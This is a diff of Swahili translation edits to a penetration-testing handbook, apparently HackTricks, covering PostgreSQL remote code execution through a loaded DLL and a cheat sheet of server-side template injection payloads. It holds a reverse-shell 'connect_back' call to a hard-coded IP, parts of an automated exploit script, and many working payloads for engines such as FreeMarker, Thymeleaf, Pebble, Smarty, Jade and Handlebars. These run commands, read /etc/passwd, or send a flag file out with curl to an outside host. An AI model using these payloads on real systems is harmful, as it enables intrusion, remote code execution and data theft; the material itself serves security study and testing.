The [PolyUDF project](https://github.com/rop-la/PolyUDF) ni mahali pazuri pa kuanzia na mradi kamili wa MS Visual Studio na maktaba inayoweza kutumika (ikiwemo: _command eval_, _exec_ na _cleanup_) yenye msaada wa toleo nyingi.
|
||||
|
||||
### RCE katika toleo jipya la Prostgres
|
||||
|
||||
Katika **matoleo ya hivi karibuni** ya PostgreSQL, vizuizi vimewekwa ambapo `superuser` **amepigwa marufuku** **kuchaji** faili za maktaba za pamoja isipokuwa kutoka kwenye directories maalum, kama vile `C:\Program Files\PostgreSQL\11\lib` kwenye Windows au `/var/lib/postgresql/11/lib` kwenye mifumo ya \*nix. Hizi directories zime **lindwa** dhidi ya operesheni za kuandika na ama akaunti za NETWORK_SERVICE au postgres.
|
||||
Katika **matoleo ya hivi karibuni** ya PostgreSQL, vizuizi vimewekwa ambapo `superuser` **amepigwa marufuku** **kuchaji** faili za maktaba za pamoja isipokuwa kutoka kwenye directories maalum, kama vile `C:\Program Files\PostgreSQL\11\lib` kwenye Windows au `/var/lib/postgresql/11/lib` kwenye mifumo ya \*nix. Directories hizi zime **lindwa** dhidi ya operesheni za kuandika kwa akaunti za NETWORK_SERVICE au postgres.
|
||||
|
||||
Licha ya vizuizi hivi, inawezekana kwa `superuser` wa database aliyeidhinishwa **kuandika faili za binary** kwenye mfumo wa faili kwa kutumia "vitu vikubwa." Uwezo huu unapanuka hadi kuandika ndani ya directory ya `C:\Program Files\PostgreSQL\11\data`, ambayo ni muhimu kwa operesheni za database kama vile kuboresha au kuunda meza.
|
||||
Licha ya vizuizi hivi, inawezekana kwa `superuser` wa database aliyeidhinishwa **kuandika faili za binary** kwenye mfumo wa faili kwa kutumia "large objects." Uwezo huu unapanuka hadi kuandika ndani ya directory ya `C:\Program Files\PostgreSQL\11\data`, ambayo ni muhimu kwa operesheni za database kama vile kusasisha au kuunda meza.
|
||||
|
||||
Ukatili mkubwa unatokana na amri ya `CREATE FUNCTION`, ambayo **inaruhusu kupita kwenye directory** ndani ya directory ya data. Kwa hivyo, mshambuliaji aliyeidhinishwa anaweza **kutumia kupita hapa** kuandika faili la maktaba ya pamoja ndani ya directory ya data na kisha **kuchaji**. Ukatili huu unamwezesha mshambuliaji kutekeleza msimbo wowote, akipata utekelezaji wa msimbo wa asili kwenye mfumo.
|
||||
Ukiukaji mkubwa unatokana na amri ya `CREATE FUNCTION`, ambayo **inaruhusu kupita kwenye directory** ya data. Kwa hivyo, mshambuliaji aliyeidhinishwa anaweza **kutumia kupita hapa** kuandika faili la maktaba ya pamoja kwenye directory ya data na kisha **kuchaji**. Ukatili huu unamwezesha mshambuliaji kutekeleza msimbo wowote, akipata utekelezaji wa msimbo wa asili kwenye mfumo.
|
||||
|
||||
#### Mchakato wa shambulio
|
||||
|
||||
Kwanza kabisa unahitaji **kutumia vitu vikubwa kupakia dll**. Unaweza kuona jinsi ya kufanya hivyo hapa:
|
||||
Kwanza kabisa unahitaji **kutumia large objects kupakia dll**. Unaweza kuona jinsi ya kufanya hivyo hapa:
|
||||
|
||||
{{#ref}}
|
||||
big-binary-files-upload-postgresql.md
|
||||
{{#endref}}
|
||||
|
||||
Mara tu unapokuwa umepakia nyongeza (ikiwa na jina la poc.dll kwa mfano huu) kwenye directory ya data unaweza kuichaji na:
|
||||
Mara tu unapokuwa umepakia nyongeza (ikiwa na jina la poc.dll kwa mfano huu) kwenye directory ya data unaweza kuichaji kwa:
|
||||
```c
|
||||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||||
select connect_back('192.168.100.54', 1234);
|
||||
```
|
||||
_Note that you don't need to append the `.dll` extension as the create function will add it._
|
||||
|
||||
For more information **read the**[ **original publication here**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_ili kujifunza jinsi ya kukusanya nyongeza ya postgres soma toleo lolote la awali_).\
|
||||
In the same page this **exploit to automate** this technique was given:
|
||||
Kwa maelezo zaidi **soma**[ **chapisho asilia hapa**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
Katika chapisho hilo **hii ilikuwa** [**kanuni iliyotumika kutengeneza ugani wa postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_ili kujifunza jinsi ya kukusanya ugani wa postgres soma toleo lolote la awali_).\
|
||||
Katika ukurasa huo huo **kibao hiki cha kujiendesha** kilitolewa:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import sys
|
||||
@ -321,7 +323,7 @@ print("(+) for a db cleanup only, run the following sql:")
|
||||
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
|
||||
print(" drop function connect_back(text, integer);")
|
||||
```
|
||||
## Marejeleo
|
||||
## Marejeo
|
||||
|
||||
- [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
|
||||
- [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)
|
||||
|
@ -4,34 +4,34 @@
|
||||
|
||||
## What is SSTI (Server-Side Template Injection)
|
||||
|
||||
Server-side template injection ni udhaifu unaotokea wakati mshambuliaji anaweza kuingiza msimbo mbaya kwenye kiolezo kinachotekelezwa kwenye seva. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwa ni pamoja na Jinja.
|
||||
Server-side template injection ni udhaifu unaotokea wakati mshambuliaji anaweza kuingiza msimbo mbaya kwenye kiolezo ambacho kinatekelezwa kwenye seva. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwa ni pamoja na Jinja.
|
||||
|
||||
Jinja ni injini maarufu ya kiolezo inayotumika katika programu za wavuti. Hebu tuchukue mfano unaoonyesha kipande cha msimbo kilicho na udhaifu kinachotumia Jinja:
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
Katika hii nambari iliyo hatarini, parameta ya `name` kutoka kwa ombi la mtumiaji inapitishwa moja kwa moja kwenye kiolezo kwa kutumia kazi ya `render`. Hii inaweza kuruhusu mshambuliaji kuingiza nambari mbaya kwenye parameta ya `name`, na kusababisha kuingizwa kwa kiolezo upande wa seva.
|
||||
Katika hii nambari iliyo hatarini, parameter ya `name` kutoka kwa ombi la mtumiaji inapitishwa moja kwa moja kwenye kiolezo kwa kutumia kazi ya `render`. Hii inaweza kuruhusu mshambuliaji kuingiza nambari mbaya kwenye parameter ya `name`, na kusababisha kuingizwa kwa kiolezo upande wa seva.
|
||||
|
||||
Kwa mfano, mshambuliaji anaweza kuunda ombi lenye mzigo kama huu:
|
||||
```
|
||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
Payload `{{bad-stuff-here}}` imeingizwa kwenye parameter `name`. Payload hii inaweza kuwa na maagizo ya template ya Jinja ambayo yanamwezesha mshambuliaji kutekeleza msimbo usioidhinishwa au kubadilisha injini ya template, na hivyo kupata udhibiti wa seva.
|
||||
Payload `{{bad-stuff-here}}` inajumuishwa katika parameter `name`. Payload hii inaweza kuwa na maagizo ya template ya Jinja ambayo yanamwezesha mshambuliaji kutekeleza msimbo usioidhinishwa au kubadilisha injini ya template, na hivyo kupata udhibiti wa seva.
|
||||
|
||||
Ili kuzuia udhaifu wa kuingizwa kwa template upande wa seva, waendelezaji wanapaswa kuhakikisha kuwa pembejeo za mtumiaji zimeondolewa na kuthibitishwa ipasavyo kabla ya kuingizwa kwenye templates. Kutekeleza uthibitishaji wa pembejeo na kutumia mbinu za kukwepa zinazojulikana na muktadha kunaweza kusaidia kupunguza hatari ya udhaifu huu.
|
||||
Ili kuzuia udhaifu wa kuingilia kati kwa upande wa seva, waendelezaji wanapaswa kuhakikisha kuwa pembejeo za mtumiaji zimeondolewa na kuthibitishwa ipasavyo kabla ya kuingizwa katika templates. Kutekeleza uthibitishaji wa pembejeo na kutumia mbinu za kukwepa zinazojulikana na muktadha kunaweza kusaidia kupunguza hatari ya udhaifu huu.
|
||||
|
||||
### Ugunduzi
|
||||
|
||||
Ili kugundua Kuingizwa kwa Template upande wa Seva (SSTI), awali, **kufanya fuzzing kwenye template** ni njia rahisi. Hii inahusisha kuingiza mfululizo wa herufi maalum (**`${{<%[%'"}}%\`**) kwenye template na kuchambua tofauti katika majibu ya seva kwa data ya kawaida dhidi ya payload hii maalum. Viashiria vya udhaifu ni pamoja na:
|
||||
Ili kugundua Kuingilia kati kwa Template ya Kando ya Seva (SSTI), awali, **kufanya fuzzing kwenye template** ni njia rahisi. Hii inahusisha kuingiza mfululizo wa herufi maalum (**`${{<%[%'"}}%\`**) kwenye template na kuchambua tofauti katika majibu ya seva kwa data ya kawaida dhidi ya payload hii maalum. Viashiria vya udhaifu ni pamoja na:
|
||||
|
||||
- Makosa yaliyotupwa, yanayoonyesha udhaifu na labda injini ya template.
|
||||
- Kukosekana kwa payload kwenye reflection, au sehemu zake kukosekana, ikionyesha kuwa seva inashughulikia tofauti na data ya kawaida.
|
||||
- **Muktadha wa Plaintext**: Tofautisha na XSS kwa kuangalia ikiwa seva inakadiria maelekezo ya template (kwa mfano, `{{7*7}}`, `${7*7}`).
|
||||
- **Muktadha wa Msimbo**: Thibitisha udhaifu kwa kubadilisha vigezo vya pembejeo. Kwa mfano, kubadilisha `greeting` kwenye `http://vulnerable-website.com/?greeting=data.username` ili kuona ikiwa matokeo ya seva ni ya kubadilika au ya kudumu, kama kwenye `greeting=data.username}}hello` inarudisha jina la mtumiaji.
|
||||
- Kukosekana kwa payload katika kioo, au sehemu zake kukosekana, ikionyesha kuwa seva inashughulikia tofauti na data ya kawaida.
|
||||
- **Muktadha wa Plaintext**: Tofautisha na XSS kwa kuangalia ikiwa seva inakadiria maelekezo ya template (mfano, `{{7*7}}`, `${7*7}`).
|
||||
- **Muktadha wa Msimbo**: Thibitisha udhaifu kwa kubadilisha vigezo vya pembejeo. Kwa mfano, kubadilisha `greeting` katika `http://vulnerable-website.com/?greeting=data.username` ili kuona ikiwa matokeo ya seva ni ya kubadilika au ya kudumu, kama katika `greeting=data.username}}hello` inarudisha jina la mtumiaji.
|
||||
|
||||
#### Awamu ya Utambuzi
|
||||
|
||||
Kutambua injini ya template kunahusisha kuchambua ujumbe wa makosa au kujaribu kwa mikono payload mbalimbali maalum kwa lugha. Payload za kawaida zinazosababisha makosa ni pamoja na `${7/0}`, `{{7/0}}`, na `<%= 7/0 %>`. Kuangalia majibu ya seva kwa operesheni za kihesabu husaidia kubaini injini maalum ya template.
|
||||
Kutambua injini ya template kunahusisha kuchambua ujumbe wa makosa au kujaribu kwa mikono payloads mbalimbali za lugha maalum. Payloads za kawaida zinazosababisha makosa ni pamoja na `${7/0}`, `{{7/0}}`, na `<%= 7/0 %>`. Kuangalia majibu ya seva kwa operesheni za kihesabu husaidia kubaini injini maalum ya template.
|
||||
|
||||
#### Utambuzi kwa payloads
|
||||
|
||||
@ -62,7 +62,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
|
||||
```
|
||||
### [Template Injection Table](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
meza ya mwingiliano inayojumuisha polyglots za uhamasishaji wa templeti zenye ufanisi zaidi pamoja na majibu yanayotarajiwa ya injini 44 muhimu za templeti.
|
||||
meza ya mwingiliano inayojumuisha polyglots za uhamasishaji wa template zenye ufanisi zaidi pamoja na majibu yanayotarajiwa ya injini 44 muhimu zaidi za template.
|
||||
|
||||
## Exploits
|
||||
|
||||
@ -120,7 +120,7 @@ ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI()
|
||||
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
|
||||
${dwf.newInstance(ec,null)("id")}
|
||||
```
|
||||
**Taarifa zaidi**
|
||||
**Maelezo zaidi**
|
||||
|
||||
- Katika sehemu ya FreeMarker ya [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
|
||||
@ -148,14 +148,14 @@ $str.valueOf($chr.toChars($out.read()))
|
||||
$out.read()
|
||||
#end
|
||||
```
|
||||
**Taarifa zaidi**
|
||||
**Maelezo zaidi**
|
||||
|
||||
- Katika sehemu ya Velocity ya [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
|
||||
|
||||
### Thymeleaf
|
||||
|
||||
Katika Thymeleaf, mtihani wa kawaida wa udhaifu wa SSTI ni usemi `${7*7}`, ambao pia unatumika kwa injini hii ya templeti. Kwa ajili ya uwezekano wa utekelezaji wa msimbo wa mbali, usemi kama ifuatavyo unaweza kutumika:
|
||||
Katika Thymeleaf, mtihani wa kawaida wa udhaifu wa SSTI ni usemi `${7*7}`, ambao pia unatumika kwa injini hii ya templeti. Kwa uwezekano wa utekelezaji wa msimbo wa mbali, usemi kama ifuatavyo unaweza kutumika:
|
||||
|
||||
- SpringEL:
|
||||
|
||||
@ -171,9 +171,9 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
|
||||
Thymeleaf inahitaji usemi haya kuwekwa ndani ya sifa maalum. Hata hivyo, _expression inlining_ inasaidiwa kwa maeneo mengine ya templeti, kwa kutumia sintaksia kama `[[...]]` au `[(...)]`. Hivyo, mzigo rahisi wa mtihani wa SSTI unaweza kuonekana kama `[[${7*7}]]`.
|
||||
|
||||
Hata hivyo, uwezekano wa mzigo huu kufanya kazi kwa ujumla ni mdogo. Mipangilio ya kawaida ya Thymeleaf haisaidii uundaji wa templeti za kidinamik; templeti lazima ziwe zimeandaliwa mapema. Wandelezaji wangehitaji kutekeleza `TemplateResolver` yao ili kuunda templeti kutoka kwa nyuzi mara moja, jambo ambalo si la kawaida.
|
||||
Hata hivyo, uwezekano wa mzigo huu kufanya kazi kwa ujumla ni mdogo. Mipangilio ya kawaida ya Thymeleaf haisaidii uundaji wa templeti za kidinamik; templeti lazima ziwe zimeandaliwa mapema. Wandelezaji wangehitaji kutekeleza `TemplateResolver` yao ili kuunda templeti kutoka kwa nyuzi kwa wakati halisi, jambo ambalo si la kawaida.
|
||||
|
||||
Thymeleaf pia inatoa _expression preprocessing_, ambapo usemi ndani ya viwango viwili vya chini (`__...__`) unachakatwa kabla. Kipengele hiki kinaweza kutumika katika ujenzi wa usemi, kama inavyoonyeshwa katika hati ya Thymeleaf:
|
||||
Thymeleaf pia inatoa _expression preprocessing_, ambapo usemi ndani ya viwango viwili vya chini (`__...__`) unachakatwa kabla. Kipengele hiki kinaweza kutumika katika ujenzi wa usemi, kama inavyoonyeshwa katika nyaraka za Thymeleaf:
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
@ -184,12 +184,12 @@ Fikiria kipande hiki cha msimbo, ambacho kinaweza kuwa na hatari ya kutumiwa:
|
||||
<a th:href="@{__${path}__}" th:title="${title}">
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
```
|
||||
Hii inaonyesha kwamba ikiwa injini ya templeti itashughulikia hizi ingizo vibaya, inaweza kusababisha utekelezaji wa msimbo wa mbali ikifikia URL kama:
|
||||
Hii inaonyesha kwamba ikiwa injini ya templeti itashughulikia hizi ingizo vibaya, inaweza kusababisha utekelezaji wa msimbo wa mbali ikifikia URLs kama:
|
||||
```
|
||||
http://localhost:8082/(7*7)
|
||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||
```
|
||||
**Taarifa zaidi**
|
||||
**Maelezo zaidi**
|
||||
|
||||
- [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)
|
||||
|
||||
@ -209,7 +209,7 @@ Maelezo mengi ya mabadiliko yanaweza kutumika, ikiwa `${...}` haitafanya kazi ja
|
||||
```java
|
||||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||||
```
|
||||
- Skripti ya Kawaida kwa uzalishaji wa payload
|
||||
- Skripti ya Kawaida kwa ajili ya uzalishaji wa payload
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
@ -237,12 +237,12 @@ count += 1
|
||||
|
||||
print(base_payload + end_payload)
|
||||
```
|
||||
**Taarifa Zaidi**
|
||||
**Maelezo Zaidi**
|
||||
|
||||
- [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
|
||||
- [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
|
||||
|
||||
### Usanifu wa Mtazamo wa Spring (Java)
|
||||
### Usanifu wa Nadharia ya Spring (Java)
|
||||
```java
|
||||
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
|
||||
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
||||
@ -261,7 +261,7 @@ Toleo la zamani la Pebble ( < version 3.0.9):
|
||||
```java
|
||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||
```
|
||||
Toleo jipya la Pebble :
|
||||
Toleo jipya la Pebble:
|
||||
```java
|
||||
{% raw %}
|
||||
{% set cmd = 'id' %}
|
||||
@ -303,7 +303,7 @@ Imerekebishwa na [https://github.com/HubSpot/jinjava/pull/230](https://github.co
|
||||
|
||||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||||
```
|
||||
**Taarifa zaidi**
|
||||
**Maelezo zaidi**
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava)
|
||||
|
||||
@ -372,11 +372,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||
- `${{7*7}}` - 49
|
||||
- `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
Lugha ya Msemo (EL) ni kipengele cha msingi kinachorahisisha mwingiliano kati ya safu ya uwasilishaji (kama kurasa za wavuti) na mantiki ya programu (kama vile beans zinazodhibitiwa) katika JavaEE. Inatumika sana katika teknolojia nyingi za JavaEE ili kurahisisha mawasiliano haya. Teknolojia kuu za JavaEE zinazotumia EL ni pamoja na:
|
||||
Lugha ya Msemo (EL) ni kipengele cha msingi kinachorahisisha mwingiliano kati ya safu ya uwasilishaji (kama kurasa za wavuti) na mantiki ya programu (kama vile beans zinazodhibitiwa) katika JavaEE. Inatumika sana katika teknolojia nyingi za JavaEE ili kuboresha mawasiliano haya. Teknolojia kuu za JavaEE zinazotumia EL ni pamoja na:
|
||||
|
||||
- **JavaServer Faces (JSF)**: Inatumia EL kuunganisha vipengele katika kurasa za JSF na data na vitendo vya nyuma vinavyolingana.
|
||||
- **JavaServer Pages (JSP)**: EL inatumika katika JSP kwa kupata na kubadilisha data ndani ya kurasa za JSP, na kufanya iwe rahisi kuunganisha vipengele vya ukurasa na data ya programu.
|
||||
- **Muktadha na Uingizaji wa Kazi kwa Java EE (CDI)**: EL inajumuika na CDI kuruhusu mwingiliano usio na mshono kati ya safu ya wavuti na beans zinazodhibitiwa, kuhakikisha muundo wa programu unaoeleweka zaidi.
|
||||
- **Muktadha na Uingizaji wa Kiraia kwa Java EE (CDI)**: EL inajumuika na CDI kuruhusu mwingiliano usio na mshono kati ya safu ya wavuti na beans zinazodhibitiwa, kuhakikisha muundo wa programu unaoeleweka zaidi.
|
||||
|
||||
Angalia ukurasa ufuatao kujifunza zaidi kuhusu **kudhulumu wa tafsiri za EL**:
|
||||
|
||||
@ -427,7 +427,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
||||
{system('ls')} // compatible v3
|
||||
{system('cat index.php')} // compatible v3
|
||||
```
|
||||
**Taarifa zaidi**
|
||||
**Maelezo zaidi**
|
||||
|
||||
- Katika sehemu ya Smarty ya [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
|
||||
@ -474,16 +474,16 @@ $output = $twig > render (
|
||||
array("first_name" => $user.first_name)
|
||||
);
|
||||
```
|
||||
**Taarifa zaidi**
|
||||
**Maelezo zaidi**
|
||||
|
||||
- Katika sehemu ya Twig na Twig (Sandboxed) ya [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
|
||||
|
||||
### Plates (PHP)
|
||||
|
||||
Plates ni injini ya kutengeneza mifano asilia kwa PHP, ikichota msukumo kutoka Twig. Hata hivyo, tofauti na Twig, ambayo inintroduce sintaksia mpya, Plates inatumia msimbo wa asili wa PHP katika mifano, na kuifanya iwe rahisi kwa waendelezaji wa PHP.
|
||||
Plates ni injini ya kutengeneza mifano asilia kwa PHP, ikichota msukumo kutoka Twig. Hata hivyo, tofauti na Twig, ambayo inintroduce sintaksia mpya, Plates inatumia msimbo wa asili wa PHP katika mifano, na kuifanya iwe rahisi kwa waendelezaji wa PHP.
|
||||
|
||||
Controller:
|
||||
Msimamizi:
|
||||
```php
|
||||
// Create new Plates instance
|
||||
$templates = new League\Plates\Engine('/path/to/templates');
|
||||
@ -583,7 +583,7 @@ $t->parse('authorline_ref', 'authorline', true);
|
||||
echo $t->finish($t->parse('OUT', 'authors'));
|
||||
?>
|
||||
```
|
||||
**Taarifa zaidi**
|
||||
**Maelezo zaidi**
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib)
|
||||
|
||||
@ -591,7 +591,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
||||
|
||||
<figure><img src="../../images/image (6).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg</a></p></figcaption></figure>
|
||||
|
||||
- Taarifa zaidi katika [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
- Maelezo zaidi katika [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
### Jade (NodeJS)
|
||||
```javascript
|
||||
@ -604,14 +604,14 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
||||
```javascript
|
||||
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
|
||||
```
|
||||
**Taarifa zaidi**
|
||||
**Maelezo zaidi**
|
||||
|
||||
- Katika sehemu ya Jade ya [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
|
||||
|
||||
### patTemplate (PHP)
|
||||
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) injini ya kutengeneza templates ya PHP isiyo na uandishi, inayotumia lebo za XML kugawanya hati katika sehemu tofauti
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) injini ya kutengeneza PHP isiyo na uandishi, inayotumia lebo za XML kugawanya hati katika sehemu tofauti
|
||||
```xml
|
||||
<patTemplate:tmpl name="page">
|
||||
This is the main page.
|
||||
@ -623,13 +623,13 @@ Hello {NAME}.<br/>
|
||||
</patTemplate:tmpl>
|
||||
</patTemplate:tmpl>
|
||||
```
|
||||
**Taarifa zaidi**
|
||||
**Maelezo zaidi**
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate)
|
||||
|
||||
### Handlebars (NodeJS)
|
||||
|
||||
Path Traversal (taarifa zaidi [hapa](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
|
||||
Path Traversal (maelezo zaidi [hapa](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
|
||||
```bash
|
||||
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
|
||||
```
|
||||
@ -660,7 +660,7 @@ curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":
|
||||
URLencoded:
|
||||
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
|
||||
```
|
||||
**Taarifa zaidi**
|
||||
**Maelezo zaidi**
|
||||
|
||||
- [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
|
||||
|
||||
@ -724,7 +724,7 @@ range.constructor(
|
||||
}
|
||||
}
|
||||
```
|
||||
**Taarifa zaidi**
|
||||
**Maelezo zaidi**
|
||||
|
||||
- [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
|
||||
|
||||
@ -734,7 +734,7 @@ range.constructor(
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
|
||||
|
||||
- Taarifa zaidi katika [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
